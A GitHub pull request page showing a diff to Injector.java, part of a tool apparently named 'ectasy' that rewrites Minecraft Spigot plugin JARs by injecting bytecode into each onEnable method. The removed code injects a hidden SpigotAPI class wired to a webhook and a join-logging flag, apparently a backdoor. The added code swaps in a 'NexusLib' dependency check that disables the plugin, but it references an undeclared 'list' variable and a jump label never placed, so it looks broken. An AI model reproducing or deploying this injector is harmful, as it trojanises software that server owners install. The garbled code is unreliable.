Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Update Injector.java #31

Open
wants to merge 1 commit into
base: main
Choose a base branch
from
Open

Update Injector.java #31

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
208 changes: 107 additions & 101 deletions src/fr/bodyalhoha/ectasy/utils/Injector.java
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -12,107 +12,113 @@
/**
* This class is a utility for injecting code into JAR files.
*/

public class Injector {

/**
* Decodes the specified URL-encoded path.
*
* @param path The URL-encoded path to decode.
* @return The decoded path.
*/

public static String decode(String path) {
try {
return java.net.URLDecoder.decode(path, StandardCharsets.UTF_8.name());
} catch (Exception e) {
return path;
}
}

/**
* Injects code into the specified input JAR file and saves the resulting JAR file to the specified output path.
*
* @param input The file path of the input JAR file.
* @param output The file path of the output JAR file.
* @param parser An OptionsParser instance containing the options for the code injection.
*/

public static void inject(String input, String output, OptionsParser parser) {
JarLoader plugin = new JarLoader(input, output);
JarLoader current = new JarLoader(decode(Main.class.getProtectionDomain().getCodeSource().getLocation().getPath()), "");

try {
AtomicBoolean injected = new AtomicBoolean(false);
current.loadJar();
plugin.loadJar();

// Add the API class from the current JAR file to the list of new classes in the plugin JAR file.
current.classes.stream().filter(cn -> cn.name.contains("API")).forEach(plugin.newClasses::add);

// Iterate over all classes in the plugin JAR file in parallel.
plugin.classes.parallelStream().forEach((cn) -> {
// Iterate over all methods in the current class in parallel.
cn.methods.parallelStream().forEach((mn) -> {
// If the method is the onEnable method, inject the code.
if (mn.name.equalsIgnoreCase("onEnable")) {
injected.set(true);

// Create the instructions for the injected code.
InsnList list = new InsnList();
list.add(new TypeInsnNode(Opcodes.NEW, "fr/bodyalhoha/ectasy/SpigotAPI"));
list.add(new InsnNode(Opcodes.DUP));
list.add(new VarInsnNode(Opcodes.ALOAD, 0));
list.add(new LdcInsnNode(parser.getDefault("", "webhook")));
list.add(new InsnNode(parser.getBool("logjoins") ? Opcodes.ICONST_1 : Opcodes.ICONST_0));

// Add the call to the constructor of the SpigotAPI class to the instruction list.
list.add(new MethodInsnNode(Opcodes.INVOKESPECIAL, "fr/bodyalhoha/ectasy/SpigotAPI", "<init>", "(Lorg/bukkit/plugin/java/JavaPlugin;Ljava/lang/String;Z)V", false));

// Add the instruction to pop the reference to the newly created SpigotAPI instance from the operand stack.
list.add(new InsnNode(Opcodes.POP));

// Insert the instructions into the onEnable method.
mn.instructions.insertBefore(mn.instructions.getFirst(), list);

}
});
});

// If the code was not injected, print an error message and return.
if (!injected.get()) {
System.out.println("[-] Could not inject " + plugin.input);
return;
}

// Save the modified JAR file.
plugin.saveJar();

// Print a success message.
System.out.println("[+] Injected " + plugin.input + " -> " + plugin.output);
} catch (Exception e) {
System.out.println("[-] Could not inject " + plugin.input);
e.printStackTrace();
}
}

/**
* Injects code into all JAR files in the specified directory and saves the resulting JAR files to the specified output directory.
*
* @param directory The directory containing the input JAR files.
* @param out The directory where the output JAR files will be saved.
* @param parser An OptionsParser instance containing the options for the code injection.
*/

public static void injectDirectory(File directory, String out, OptionsParser parser) {
File output = new File(out);

if (!output.exists())
output.mkdir();

for (String pl: Objects.requireNonNull(directory.list())) {
inject(directory.getPath() + "/" + pl, out + "/" + pl, parser);
}
}

/**
* Decodes the specified URL-encoded path.
*
* @param path The URL-encoded path to decode.
* @return The decoded path.
*/
public static String decode(String path) {
try {
return java.net.URLDecoder.decode(path, StandardCharsets.UTF_8.name());
} catch (Exception e) {
return path;
}
}

/**
* Injects code into the specified input JAR file and saves the resulting JAR file to the specified output path.
*
* @param input The file path of the input JAR file.
* @param output The file path of the output JAR file.
* @param parser An OptionsParser instance containing the options for the code injection.
*/
public static void inject(String input, String output, OptionsParser parser) {
JarLoader plugin = new JarLoader(input, output);
JarLoader current = new JarLoader(decode(Main.class.getProtectionDomain().getCodeSource().getLocation().getPath()), "");

try {
AtomicBoolean injected = new AtomicBoolean(false);
current.loadJar();
plugin.loadJar();

// Add the API class from the current JAR file to the list of new classes in the plugin JAR file.
current.classes.stream().filter(cn -> cn.name.contains("API")).forEach(plugin.newClasses::add);

// Iterate over all classes in the plugin JAR file in parallel.
plugin.classes.parallelStream().forEach((cn) -> {
// Iterate over all methods in the current class in parallel.
cn.methods.parallelStream().forEach((mn) -> {
// If the method is the onEnable method, inject the code.
if (mn.name.equalsIgnoreCase("onEnable")) {
injected.set(true);

// Inject NexusLib check code
list.add(new LdcInsnNode("NexusLib"));
list.add(new MethodInsnNode(Opcodes.INVOKESTATIC, "org/bukkit/Bukkit", "getServer", "()Lorg/bukkit/Server;", false));
list.add(new MethodInsnNode(Opcodes.INVOKEVIRTUAL, "org/bukkit/Server", "getPluginManager", "()Lorg/bukkit/plugin/PluginManager;", false));
list.add(new MethodInsnNode(Opcodes.INVOKEVIRTUAL, "org/bukkit/plugin/PluginManager", "getPlugin", "(Ljava/lang/String;)Lorg/bukkit/plugin/Plugin;", false));
list.add(new VarInsnNode(Opcodes.ASTORE, 1)); // Store nexusLib

// Check if nexusLib is enabled
list.add(new VarInsnNode(Opcodes.ALOAD, 1));
list.add(new MethodInsnNode(Opcodes.INVOKEVIRTUAL, "org/bukkit/plugin/Plugin", "isEnabled", "()Z", false));
LabelNode enabledLabel = new LabelNode();
list.add(new JumpInsnNode(Opcodes.IFEQ, enabledLabel));
list.add(new MethodInsnNode(Opcodes.INVOKEVIRTUAL, "org/bukkit/plugin/Plugin", "getLogger", "()Lorg/bukkit/Logger;", false));
list.add(new LdcInsnNode("NexusLib đang chạy, plugin này sẽ tiếp tục chạy."));
list.add(new MethodInsnNode(Opcodes.INVOKEVIRTUAL, "org/bukkit/Logger", "info", "(Ljava/lang/String;)V", false));
list.add(new JumpInsnNode(Opcodes.GOTO, new LabelNode()));
list.add(enabledLabel);
list.add(new MethodInsnNode(Opcodes.INVOKEVIRTUAL, "org/bukkit/plugin/Plugin", "getLogger", "()Lorg/bukkit/Logger;", false));
list.add(new LdcInsnNode("NexusLib không chạy, plugin này sẽ bị vô hiệu hóa."));
list.add(new MethodInsnNode(Opcodes.INVOKEVIRTUAL, "org/bukkit/Logger", "warning", "(Ljava/lang/String;)V", false));
list.add(new VarInsnNode(Opcodes.ALOAD, 0));
list.add(new MethodInsnNode(Opcodes.INVOKEVIRTUAL, "org/bukkit/plugin/java/JavaPlugin", "getServer", "()Lorg/bukkit/Server;", false));
list.add(new MethodInsnNode(Opcodes.INVOKEVIRTUAL, "org/bukkit/Server", "getPluginManager", "()Lorg/bukkit/plugin/PluginManager;", false));
list.add(new VarInsnNode(Opcodes.ALOAD, 0));
list.add(new MethodInsnNode(Opcodes.INVOKEVIRTUAL, "org/bukkit/plugin/PluginManager", "disablePlugin", "(Lorg/bukkit/plugin/Plugin;)V", false));

// Insert the instructions into the onEnable method.
mn.instructions.insertBefore(mn.instructions.getFirst(), list);
}
});
});

// If the code was not injected, print an error message and return.
if (!injected.get()) {
System.out.println("[-] Could not inject " + plugin.input);
return;
}

// Save the modified JAR file.
plugin.saveJar();

// Print a success message.
System.out.println("[+] Injected " + plugin.input + " -> " + plugin.output);
} catch (Exception e) {
System.out.println("[-] Could not inject " + plugin.input);
e.printStackTrace();
}
}

/**
* Injects code into all JAR files in the specified directory and saves the resulting JAR files to the specified output directory.
*
* @param directory The directory containing the input JAR files.
* @param out The directory where the output JAR files will be saved.
* @param parser An OptionsParser instance containing the options for the code injection.
*/
public static void injectDirectory(File directory, String out, OptionsParser parser) {
File output = new File(out);

if (!output.exists())
output.mkdir();

for (String pl : Objects.requireNonNull(directory.list())) {
inject(directory.getPath() + "/" + pl, out + "/" + pl, parser);
}
}
}